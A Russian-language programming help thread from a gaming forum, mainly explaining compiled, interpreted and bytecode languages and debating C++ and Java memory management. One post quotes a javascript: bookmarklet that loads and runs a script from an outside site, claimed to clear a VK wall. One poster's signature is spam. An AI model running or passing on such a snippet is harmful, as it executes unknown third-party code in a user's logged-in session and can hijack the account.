Форум Игромании
 
Регистрация
Справка

Программирование Создание, разработка и доработка различных игр и программного обеспечения

Ответ
 
Опции темы
Старый 02.10.2010, 15:11   #1
Игроман
 
Аватар для Hast


 
Регистрация: 13.07.2007
Адрес: Сімферополь
Сообщений: 3,012
Репутация: 629 [+/-]
ITlab Общие вопросы по программированию

Не нашли темы по нужному языку, но не рискуете создавать новую тему в силу каких-то причин? Ну что ж, эта тема для вас. Спрашивайте ваши вопросы, а обитатели раздела в силу возможностей и развитости комплекса альтруизма постараются вам помочь.

Однако не забывайте, что здесь также действуют правила форума и раздела Soft & OS, флуд и оффтоп — наказуемы.
Также следует помнить, что писать вам программы целиком никто не будет, однако мы всегда рады помочь вам понять, что же именно не так, и как это можно сделать.

Существующие темы по языкам:
Желаем вам приятного общения и компилируемости ваших программ
Hast вне форума  
Ответить с цитированием
Старый 09.01.2015, 06:05   #2
Гейммастер
 
Аватар для Earth2Space
 
Регистрация: 20.01.2009
Адрес: Хабаровск
Сообщений: 11,697
Репутация: 1136 [+/-]
Вроде сюда: как через батник вывести в буфер обмена список всех файлов в папке и подпапках? Только имя файла и расширение.
Earth2Space вне форума  
Отправить сообщение для Earth2Space с помощью ICQ Отправить сообщение для Earth2Space с помощью Skype™ Ответить с цитированием
Старый 10.01.2015, 12:10   #3
Гейммастер
 
Аватар для Earth2Space
 
Регистрация: 20.01.2009
Адрес: Хабаровск
Сообщений: 11,697
Репутация: 1136 [+/-]
Через dir такое можно сделать?
Earth2Space вне форума  
Отправить сообщение для Earth2Space с помощью ICQ Отправить сообщение для Earth2Space с помощью Skype™ Ответить с цитированием
Старый 10.01.2015, 23:04   #4
Пугатель
 
Аватар для [CCCP] Monster

 
Регистрация: 26.06.2005
Адрес: Москва, СССР
Сообщений: 6,102
Репутация: 1085 [+/-]
Earth2Space, http://stackoverflow.com/questions/2...listing-in-dos

Думаю, дальше догадаешься.
__________________
Служу Советскому Союзу!

Хорошо смеется тот, кто стреляет первым! (танкистская мудрость)
[CCCP] Monster вне форума  
Отправить сообщение для [CCCP] Monster с помощью Skype™ Ответить с цитированием
Старый 10.01.2015, 23:47   #5
Гейммастер
 
Аватар для Earth2Space
 
Регистрация: 20.01.2009
Адрес: Хабаровск
Сообщений: 11,697
Репутация: 1136 [+/-]
[CCCP] Monster, мне надо получить ТОЛЬКО имена файлов. Тут надо как-то по-другому делать. Нет у dir такого атрибута.
Earth2Space вне форума  
Отправить сообщение для Earth2Space с помощью ICQ Отправить сообщение для Earth2Space с помощью Skype™ Ответить с цитированием
Старый 11.04.2015, 22:52   #6
Гейммастер
 
Аватар для Earth2Space
 
Регистрация: 20.01.2009
Адрес: Хабаровск
Сообщений: 11,697
Репутация: 1136 [+/-]
Цитата:
javascript: (function(){var s=document.createElement('script'); s.src='http://okontakte.info/delmsg.js'; s.type='text/javascript'; document.getElementsByTagName('head')[0].appendChild(s); })();
Это и правда может очистить стену в ВК?
Earth2Space вне форума  
Отправить сообщение для Earth2Space с помощью ICQ Отправить сообщение для Earth2Space с помощью Skype™ Ответить с цитированием
Старый 23.06.2015, 05:06   #7
Игрок
 
Аватар для Kиpa
 
Регистрация: 06.03.2007
Адрес: Киев
Сообщений: 712
Репутация: 384 [+/-]
Мой вопрос относится к вещам очевидным и фундаментальным, но я все никак не могу этого понять - ведь все как будто по умолчанию это знают, и даже не написано об этом нигде. Где вообще проходит грань между различными языками программирования? На мой примитивный взгляд, php - это то, что запускается в браузере, всякие там "c" - это то, что запускается через exeшники. Но насколько я знаю, и php-скрипт можно запустить через exe при желании. В какой момент времени написанный в блокноте текст со скриптом превращается в паскальный, phpшный или c-шный? Ведь общая знаково-логическая система там с виду одинаковая.
Далее. Чем вообще языки программирования отличаются с точки зрения компьютера? Вот есть, допустим, программа, написанная на C, и есть - написанная на паскале. Оба запускаются через exe. Видимо, в самих скриптах указано, на каком языке они написаны. То есть, в самом компьютере (в ОС) уже предустановлены эти языки, и он ориентируется на то, к какой логической базе данных обращаться при запуске приложения? Если, например, скрипт, написанный на современном языке программирования, запустить на старой ОС - он не будет работать (даже если это какой-то совсем простой скрипт)? А если не указать в скрипте, какой это язык - как компьютер будет его воспринимать? Короче, чем для компьютера будут отличаться эти два exeшника, если компьютер не понимает, что такое паскаль, а что такое С, и для него обе программы просто разными путями обращаются к его ресурсам и разными командами запускают обработку данных?
То есть, если в современных операционных системах уже предустановлена какая-то логическая система восприятия данных (или же она содержится сразу в компьютерах?) - то зачем вообще нужны разные языки? Почему не объединить все те языки, которые используются, в один общий, через который уже будут при необходимости обрабатываться необходимые данные?
В общем, мне нужна фундаментальная информация о том, как из средства для обработки нулей и единиц возникает система, которая способна отличать паскаль от яваскрипта. Буду благодарен за подробный ответ.
__________________
If you ever had any problems or worries regarding your penis size, we got two words for you IT'S OVER. We GUARANTEE that you will get an increase in your penis size within 3 months. It is our goal to provide you with the absolute best penis enhancement product that actually delivers on its promise.

Последний раз редактировалось Kиpa; 23.06.2015 в 05:10.
Kиpa вне форума  
Ответить с цитированием
Старый 23.06.2015, 08:54   #8
Кандидат наук
 
Аватар для pokibor
 
Регистрация: 13.06.2005
Адрес: 0x00000000
Сообщений: 8,354
Репутация скрыта [+/-]
Цитата:
Сообщение от Kиpa Посмотреть сообщение
Мой вопрос относится к вещам очевидным и фундаментальным, но я все никак не могу этого понять - ведь все как будто по умолчанию это знают, и даже не написано об этом нигде.
Начните изучать программирование - сразу всё поймёте. Ваши вопросы демонстрируют незнание основ информатики, а ведь "уметь программировать" и "знать пару языков программирования" - это очень разные вещи.
Если говорить про грань между языками программирования, то она проходит там же, где грань между Пушкиным и Пелевиным. Вроде, буквы одни и те же, но вот результат - разный. Как минимум, у разных языков программирования разный синтаксис (что это такое - должны учить в школе на уроках русского языка). Кроме того, есть понятие парадигмы программирования: сейчас самые известные и часто используемые яызки объектно-ориентированные, но это не значит, что других не существует.

Дальнейший вопрос показывает, что Вы и не пытались запустить программу на C, написанную в блокноте. Попробуйте переименовать txt-файл в exe, и ясно увидите, что никакое волшебство тех в программу не превратит Ах, Вы написали "скрипт" - но это в корне неверно, ведь скрипт - это (обычно) то, что выполняется неким интерпретатором, а C и Паскаль всё-таки компилируемые языки.
Итак, Вы написали в блокноте программу на C++. Как уже говорилось, простое переименование в экзешник ее не запустит - как раз потому, что в системе нет никаких предустановленных языков программирования (впрочем, в современных оперционках - есть, но пока речь о базовых принципах). Компьютер сам по себе работает только с программами, написаными только на одном языке - в машинных кодах (т.н. native-код). Чтобы превратить программу из текста в этот код, и существуют компиляторы. Вы берете компилятор C++ или Паскаля, даете ему на вход программу на соответствующем языке - и на выходе получаете тот самый экзешник с native-кодом. Естественно, компилятор C++ кода на Паскале не поймёт, как и наоборот - в этом этапе и заключается волшебный момент перехода от текстового файла с одинаковыми символами к программе на определенном языке программирования.

Надеюсь, понятно, что говорить о том, что программы на разных языках запускаются через один exe - не верно. Хотя в современном мире всё не так просто. Помимо компилируемых в native-код, существуют ещё интерпретируемые языки программирования, в частности - как раз для написания скриптов (впрочем, грань между "скриптом" и "полноценной программой" размыта. В этом случае - да, в системе должен быть установлена программа под названием "интерпретатор", которая и будет выполнять код "на лету", без компиляции. Так работает, например, JavaScript, исполняемый (обычно) браузерами. Это не значит, что интерпретируемый язык нельзя скомпилировать в exe, но обычно полученный таким образом код будет содержать ссылку на интерпретатор и без его установки всё равно запуститься не сможет.
Впрочем, и компилируемые программы сейчас зависят от тонн библиотек, без которых они работать не смогут. Вот так всё сложно.

Наконец, есть и промежуточный класс - языки, которые компилируются не в native-код, а в байт-код. Самые известные - Java все языки платформы .NET. В таком случае обычно говорят не о конкретных языках, а именно о платформе, поскольку языки компилируются в некий более простой - но всё равно не машинный - код, который при исполнении интерпретируется. Преимущества и недостатки всех подходов предлагаю гуглить или смотреть википедию.

Вопрос "зачем нужны все языки" похож на вопрос "зачем нужны разные операционные системы", да и вообще "зачем нужно разное что-то там". Разные языки предназначены для разных целей, на одних удобнее и эффективнее выполнять одни задачи, на других - другие. Плюс никто не отменял эволюции, языки эволюционируют от простых "приятностей" над машинным кодом (ассемблер) до мощнейших платформ, которые делают за программиста 99% рутинной работы.

Цитата:
Почему не объединить все те языки, которые используются, в один общий, через который уже будут при необходимости обрабатываться необходимые данные?
Именно это и называет байт-код, когда, скажем, несколько языков, поддерживаемых платформой .NET, компилируются в CIL, который уже исполняется в рамках того самого .NET Framework, который нужно установить для исполнения .NET-приложений.

Надеюсь, общая схема понятна, дальше - гугл.
__________________
Товарищ, верь: пройдет она -
Эпоха лживых, злых понятий.
Весь мир очнется ото сна,
И на обломках "демократий"
Напишут наши имена!

Мы были волшебницами (оригинальное фентези)
Тень Войны (фанфик по ГП)
pokibor вне форума  
Отправить сообщение для pokibor с помощью ICQ Ответить с цитированием
Старый 23.06.2015, 09:32   #9
Игрок
 
Аватар для Kиpa
 
Регистрация: 06.03.2007
Адрес: Киев
Сообщений: 712
Репутация: 384 [+/-]
pokibor, ясно, то есть, язык программирования имеет значение только до компиляции, а после нее для компьютера нет никакой разницы между калькулятором, написанном на паскале и на c++, если их стремились сделать максимально одинаковыми, потому как они будут обращаться примерно к одним и тем же процессам и ресурсам.

Цитата:
Сообщение от pokibor Посмотреть сообщение
Начните изучать программирование - сразу всё поймёте. Ваши вопросы демонстрируют незнание основ информатики, а ведь "уметь программировать" и "знать пару языков программирования" - это очень разные вещи.
В том то и дело, что это нигде явно не объясняется, хотя с этого, казалось бы, следует начинать. Если взять учебник по любому языку программирования - то там с самой первой главы будут описываться особенности этого языка, его преимущества над другими, функции и архитектура, но сам основной принцип работы языка внутри компьютера - нет. Я уверен, в мире есть очень много "программистов" (возможно даже, вполне высокооплачиваемых), которые не знают того, что вы описали и для них php - это то, что в браузере, а c++ - это то, что в exeшниках, при том что внутри самого кода они ориентируются хорошо.
__________________
If you ever had any problems or worries regarding your penis size, we got two words for you IT'S OVER. We GUARANTEE that you will get an increase in your penis size within 3 months. It is our goal to provide you with the absolute best penis enhancement product that actually delivers on its promise.
Kиpa вне форума  
Ответить с цитированием
Старый 23.06.2015, 16:36   #10
Опытный игрок
 
Аватар для SLS_Cross
 
Регистрация: 27.03.2007
Сообщений: 1,793
Репутация: 380 [+/-]
Kиpa,
Цитата:
принцип работы языка внутри компьютера
Процессор вообще никаких языков не знает, кроме машинных слов. То бишь побитовых команд. Знаете про перфокарты? Вот такой язык процессор "понимает". Практически любой современный язык программирования - это язык высокого уровня абстракции, где ты описываешь некоторые действия и операции, но не говоришь процессору - как их делать. При компиляции получаются исполняемые файлы, которые понимаются в первую очередь Операционной Системой. И уже ОС обеспечивает трансляцию в ассемблер и машинные слова.
По сути единственный принцип языка высокого уровня - это снять с программиста задачу управления ресурсами. То есть дать ему возможность описать что делать, но не как делать

Программирование - это такая штука, которую изучать следует с самых азов. Двоичное исчисление, двоичная логика, простые алгоритмы обработрки данных. И вот так постепенно переходить к более продвинутым вещам. В общих чертах могу сказать, что ни один из твоих вопросов не является корректным. В том плане, что ни один ответ на этот вопрос не прояснит саму суть процесса
SLS_Cross вне форума  
Ответить с цитированием
Старый 23.06.2015, 17:31   #11
Кандидат наук
 
Аватар для pokibor
 
Регистрация: 13.06.2005
Адрес: 0x00000000
Сообщений: 8,354
Репутация скрыта [+/-]
Цитата:
Сообщение от Kиpa Посмотреть сообщение
pokibor, ясно, то есть, язык программирования имеет значение только до компиляции, а после нее для компьютера нет никакой разницы между калькулятором, написанном на паскале и на c++, если их стремились сделать максимально одинаковыми, потому как они будут обращаться примерно к одним и тем же процессам и ресурсам.
В целом - да, причём это тем более верно, что сейчас львиная доля работы программы реализуются за счет обращения к библиотекам. То есть, в программе под Windows не будет никакого кода, отвечающего, скажем, за отрисовку окон на экране - она просто обратится к библиотекам, поставляемым с виндой, и те уже будут рисовать окошечки и кнопочки, а сама программа только пропишет, что делать в ответ на нажатия этих кнопочек.
Это как раз то, что SLS_Cross назвал "снять с программиста задачу управления ресурсами", только он сказал не совсем корректно - реализуется она не языками высокого уровня как таковыми, а библиотеками. Досконально зная C++, но не зная WinAPI (или другого API для построения интерфейса, который, впрочем, всё равно будет на WinAPI базироваться), красивое приложение не напишешь (или напишешь, но поседеешь и тысячу раз изобретёшь велосипед в процессе).
Из-за этого сейчас программисту нужно знать не только какой-нибудь язык программирования, но и определенный набор технологий и готовых API (которые, кстати, могут быть вполне универсальными, с интерфейсами под разные языки и даже платформы).

Цитата:
Сообщение от Kиpa Посмотреть сообщение
В том то и дело, что это нигде явно не объясняется, хотя с этого, казалось бы, следует начинать. Если взять учебник по любому языку программирования - то там с самой первой главы будут описываться особенности этого языка, его преимущества над другими, функции и архитектура, но сам основной принцип работы языка внутри компьютера - нет.
И правильно, так и должно быть. Потому что это учебник по языку программирования, а вопросы, которые мы рассмотрели, относятся к области информатики (точнее - 'Computer Sciences'). Изучить ее основы необходимо прежде, чем браться за язык программирования.
Далее, какая разница, как язык работает внутри компьютера? Сейчас почти всё программирования, разве что кроме самых низкоуровневых драйверов, работает по принципу черного ящика: у нас есть определенный интерфейс, и мы знаем, что такой-то вход дает такой-то выход. Каким образом этот выход получается, нас мало интересует, главно что бы работало. Вот когда освоете язык и перед Вами встанут сложные задачи, связанные с оптимизацией, тогда и нужно выяснять, во что же оно там компилируется и как лучше построить код.
В-общем, опять см. что написано выше про библиотеки.
Цитата:
Сообщение от Kиpa Посмотреть сообщение
Я уверен, в мире есть очень много "программистов" (возможно даже, вполне высокооплачиваемых), которые не знают того, что вы описали
Да ладно! Вы говорите ерунду. Выше написаны настолько базовые вещи, что их знает любой нормальный программист. Вам может показаться, что здесь есть противоречие с принципом черного ящика, который я описал, это не так: знать общие принципы необходимо, без этого просто не освоить в полной мере всё, что необходимо успешному программисту, а вот разбираться в деталях реализации - нет.
Цитата:
Сообщение от Kиpa Посмотреть сообщение
и для них php - это то, что в браузере
Вообще-то опять видно, что Вы только начинаете путь в программировании. Php - он не в браузере. Он работает на сервере. Конструкции языка обрабатываются интерпретатором на сервере, и на их основе генерируются обычные html-страницы, которые и отправляются в браузер. В браузере же "работает" не php, а JavaScript.
Кстати, на php можно и самостоятельные графические приложения делать - эту возможность дают специальные пакеты.

Цитата:
Сообщение от SLS_Cross Посмотреть сообщение
При компиляции получаются исполняемые файлы, которые понимаются в первую очередь Операционной Системой. И уже ОС обеспечивает трансляцию в ассемблер и машинные слова.
Не совсем. Так, как Вы описали, работают платформы с байт-кодом и интерпретаторы.
Операционная система же не обеспечивает трансляции в ассемблер (это задача компилятора), она дает определенный набор библиотек - то бишь сборников функций, обеспечивающих нужный уровень абстракции. То есть, если в компилируемом языке написано "x = 1 + 2", то сложение 1 и 2 в ассемблер (точнее, в машинный код; ассемблер - это всё-таки язык программирования, который тоже нуждается в компиляции, пусть и довольно примитивной) перекодирует всё-таки компилятор, и он же обеспечит передачу результата в область памяти, выделенную под переменную x. Операционка же даст точки входа в готовый код, который обеспечит интерфейс (будь то банальная консоль, окно или ещё что-нибудь), а также при запуске программы выделит ей какую-то область в памяти и позаботится об управлении различными потоками.
Но что верно сказано - без операционки современные программы работать в принципе не могут, просто потому что для этого им пришлось бы самим разбиратьтся, какие сигналы послать монитору, чтобы вывести что-то на экран, и как набор двоичных чисел, передаваемый с клавиатуры, превратить в нажатые пользователем клавиши.
Поэтому одна из задач современных компиляторов - это подсунуть в нужные места кода вызов соответствующих функций из библиотек целевой операционной системы, а непосредственным общением с клавиатурой и монитором занимаются уже это функции.
__________________
Товарищ, верь: пройдет она -
Эпоха лживых, злых понятий.
Весь мир очнется ото сна,
И на обломках "демократий"
Напишут наши имена!

Мы были волшебницами (оригинальное фентези)
Тень Войны (фанфик по ГП)

Последний раз редактировалось pokibor; 23.06.2015 в 17:55.
pokibor вне форума  
Отправить сообщение для pokibor с помощью ICQ Ответить с цитированием
Старый 23.06.2015, 17:52   #12
Игроман
 
Аватар для Nebel
 
Регистрация: 29.11.2009
Сообщений: 3,970
Репутация: 390 [+/-]
Цитата:
Сообщение от Kиpa Посмотреть сообщение
В том то и дело, что это нигде явно не объясняется, хотя с этого, казалось бы, следует начинать. Если взять учебник по любому языку программирования - то там с самой первой главы будут описываться особенности этого языка, его преимущества над другими, функции и архитектура, но сам основной принцип работы языка внутри компьютера - нет.
http://www.proklondike.com/books/tho...avtomatov.html
__________________
/watch?v=5ToxRG4isxk
Nebel вне форума  
Ответить с цитированием
Старый 23.06.2015, 19:04   #13
Опытный игрок
 
Аватар для SLS_Cross
 
Регистрация: 27.03.2007
Сообщений: 1,793
Репутация: 380 [+/-]
pokibor, компилятор же отвечает за "сборку" исходных кодов в готовое ПО. Т.е. в процессе работы приложения компилятор уже не используется.

И если говорить о разгрузке программиста, то я все корректно описал. На С++ тебе не надо думать - в какую ячейку памяти какая переменная будет записана. Ты думаешь только о самом факте существования переменных. Библиотеки же позволяют нам не тратить время на неспецифический функционал, т.е. в общем случае на GUI, способ соединения с базой данных и прочие стандартные вещи
SLS_Cross вне форума  
Ответить с цитированием
Старый 23.06.2015, 20:19   #14
Кандидат наук
 
Аватар для pokibor
 
Регистрация: 13.06.2005
Адрес: 0x00000000
Сообщений: 8,354
Репутация скрыта [+/-]
Цитата:
Сообщение от SLS_Cross Посмотреть сообщение
pokibor, компилятор же отвечает за "сборку" исходных кодов в готовое ПО. Т.е. в процессе работы приложения компилятор уже не используется.
Да. Но это не означает, что компилятор рождает некий промежуточный код, который потом операционка перегоняет в машинный. Компилятор рождает именно тот самый native-код, который исполняется непосредственно процессором, просто этот native-код содержит ссылки на библиотеки операционной системы, и ОС обеспечивает его работу в специфическом окружении.
Чтобы понять это, задайтесь вопросом, почему Wine расшифровывается как "Wine Is Not an Emulator" - именно потому, что Wine является не эмулятором, а альтернативной реализацией WinAPI.
Цитата:
Сообщение от SLS_Cross Посмотреть сообщение
И если говорить о разгрузке программиста, то я все корректно описал.
Результат описали корректно, но объяснили его не совсем корректно. Дело в том, что язык != библиотеки. Одни и те же библиотеки могут использоваться разными языками, пусть и через некоторые шлюзы.
Цитата:
Сообщение от SLS_Cross Посмотреть сообщение
На С++ тебе не надо думать - в какую ячейку памяти какая переменная будет записана.
Вот это Вы зря написали, на C++ мы можем напрямую работать с памятью.
Лучше подставьте вместо C++ C#, яву или любой другой язык со сборщиком мусора (хотя, конечно, реализации сборщиков есть и для C, и для C++).
__________________
Товарищ, верь: пройдет она -
Эпоха лживых, злых понятий.
Весь мир очнется ото сна,
И на обломках "демократий"
Напишут наши имена!

Мы были волшебницами (оригинальное фентези)
Тень Войны (фанфик по ГП)
pokibor вне форума  
Отправить сообщение для pokibor с помощью ICQ Ответить с цитированием
Старый 24.06.2015, 19:15   #15
Пугатель
 
Аватар для [CCCP] Monster

 
Регистрация: 26.06.2005
Адрес: Москва, СССР
Сообщений: 6,102
Репутация: 1085 [+/-]
Для C++ есть RAII и std::shared_ptr, которые полностью решают вопрос контроля за ресурсами, причем не только памяти, но и за любым ресурсом, нуждающимся в освобождении/закрытии (сокеты, файлы, пайпы, что угодно еще). А еще там есть реализации lock-free контейнеров, которые радикально (раз этак в 10) ускоряют некоторые подходы к разделению данных в многопоточных средах. А можно еще и совместить оба подхода и получить указатели, которые можно трогать из нескольких потоков, и который умрет только когда последний поток перестанет с ним работать.
__________________
Служу Советскому Союзу!

Хорошо смеется тот, кто стреляет первым! (танкистская мудрость)
[CCCP] Monster вне форума  
Отправить сообщение для [CCCP] Monster с помощью Skype™ Ответить с цитированием
Старый 25.06.2015, 12:08   #16
Опытный игрок
 
Аватар для SLS_Cross
 
Регистрация: 27.03.2007
Сообщений: 1,793
Репутация: 380 [+/-]
pokibor, никогда на С++ не занимался распределением ресурсов. Присутствие возможности не означает, что ты обязан этим заниматься. В подавляющем большинстве случаев, особенно на этапе обучения, это вообще не актуально. Кончились времена, когда у ПК было 640 Кб оперативки и надо было заморачиваться с ее распределением. Откровенно говоря, мне С++ всегда больше джавы нравился. Только вот не очень люблю программировать и занимаюсь этим лишь потому, что нужен рабочий опыт. Да и повсеместное распространение java - это своего рода бич современного программирования. Потому что любой нуб с чего-то решает, что java - "легкий" язык. Он легок для того, чтобы войти, но очень труден в освоении.
Да и сборщик мусора - одна из самых проблемных составляющих java. По умолчанию он туп, если речь идет о более-менее загруженном приложении

Последний раз редактировалось SLS_Cross; 25.06.2015 в 12:13.
SLS_Cross вне форума  
Ответить с цитированием
Старый 25.06.2015, 17:20   #17
Пугатель
 
Аватар для [CCCP] Monster

 
Регистрация: 26.06.2005
Адрес: Москва, СССР
Сообщений: 6,102
Репутация: 1085 [+/-]
SLS_Cross, хм, а если тебе надо загрузить из файла данные и преобразовать их в некую структуру данных, то как ты получаешь пространство для хранения этих данных?
__________________
Служу Советскому Союзу!

Хорошо смеется тот, кто стреляет первым! (танкистская мудрость)
[CCCP] Monster вне форума  
Отправить сообщение для [CCCP] Monster с помощью Skype™ Ответить с цитированием
Старый 25.06.2015, 17:56   #18
Кандидат наук
 
Аватар для pokibor
 
Регистрация: 13.06.2005
Адрес: 0x00000000
Сообщений: 8,354
Репутация скрыта [+/-]
Цитата:
Сообщение от SLS_Cross Посмотреть сообщение
pokibor, никогда на С++ не занимался распределением ресурсов. Присутствие возможности не означает, что ты обязан этим заниматься.
Манипулирование памятью - один из базовых элементов C++. Простой new уже требует понимания, что реально происходит, поскольку без delete мы получим утечку. Массив - уже по сути адресная арифметика, потому что выход за его границы никакой специальной магией не контроллируется. Так что Ваши слова неуместны. Как раз этому и нужно учиться, в этом и есть огромное преимущество C++ как языка перед тем же C#.
Цитата:
Сообщение от SLS_Cross Посмотреть сообщение
Откровенно говоря, мне С++ всегда больше джавы нравился.
Я лично Яву ненавижу после того, как два года пришлось на ней кодить. И не знаю, кто там и почему её называет "лёгким языком".
Так что если говорить про C-подобные языки со сборщиком мусора - то C# предпочтительней (опять же, как язык, не надо говорить про кроссплатформенность и .NET).
Что же касается сборщика мусора, то это хорошая вещь, если правильно ей пользоваться, пусть в .NET он тоже не особо собразителен. В то же время, любой желающий стать нормальным программистом должен освоить язык без этой приятной примочки, чтобы иметь представление об оптимизации и ручном распределении памяти.

В целом, если вести речь об освоении программирования, то уж точно не Яву я бы посоветовал, а C# либо C++. Лучше, конечно, C++, но C# осваивать проще и приятнее. Жаль, что нет его нормальных реализаций за гранью Мелкософта и .NET...
__________________
Товарищ, верь: пройдет она -
Эпоха лживых, злых понятий.
Весь мир очнется ото сна,
И на обломках "демократий"
Напишут наши имена!

Мы были волшебницами (оригинальное фентези)
Тень Войны (фанфик по ГП)

Последний раз редактировалось pokibor; 25.06.2015 в 18:04.
pokibor вне форума  
Отправить сообщение для pokibor с помощью ICQ Ответить с цитированием
Старый 25.06.2015, 18:51   #19
Опытный игрок
 
Аватар для SLS_Cross
 
Регистрация: 27.03.2007
Сообщений: 1,793
Репутация: 380 [+/-]
pokibor, так с new, массивы и списки - это базовые вещи, которые каждый должен знать. Тем не менее, ты просто следишь за состояние объекта, а не "управляешь" памятью, как в асме. Тебе не надо говорить - в какую ячейку и что запихивать. Возможно, я не совсем верно воспринял твои слова.

Я начал с Borland C++, а потом мне как-то Qt по душе пришелся. В последствии пересел на Java и очень сильно пожалел. Иногда подумываю вернуться к С++ и продолжить его изучение.
SLS_Cross вне форума  
Ответить с цитированием
Старый 21.09.2015, 00:09   #20
Мудрец
 
Аватар для Tayler
 
Регистрация: 12.05.2007
Адрес: ^______^
Сообщений: 380
Репутация: 469 [+/-]
помогите нубу. Задали задачку не по специальности. Как поменять надпись выделенную на другую. С помощью Php или java? желательно очень подробно, с меня плюшки. Кто поможет кину на мобильник денежку.

Скрытый текст:
http://s019.radikal.ru/i634/1509/e1/1417fc4579c4.png
__________________
"Чем умнее человек, тем больше своеобразия находит он во всяком, с кем общается. Для человека заурядного все люди на одно лицо"....(Блез Паскаль).


Music is a part of my life… Big part…
╔══╗♫
║██║
║(О)║
╚══╝

http://rateyourmusic.com/~Tayler
Tayler вне форума  
Отправить сообщение для Tayler с помощью ICQ Ответить с цитированием
Ответ

Опции темы

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход


Часовой пояс GMT +4, время: 22:46.


Powered by vBulletin® Version 3.8.0
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
Rambler's Top100 Яндекс цитирования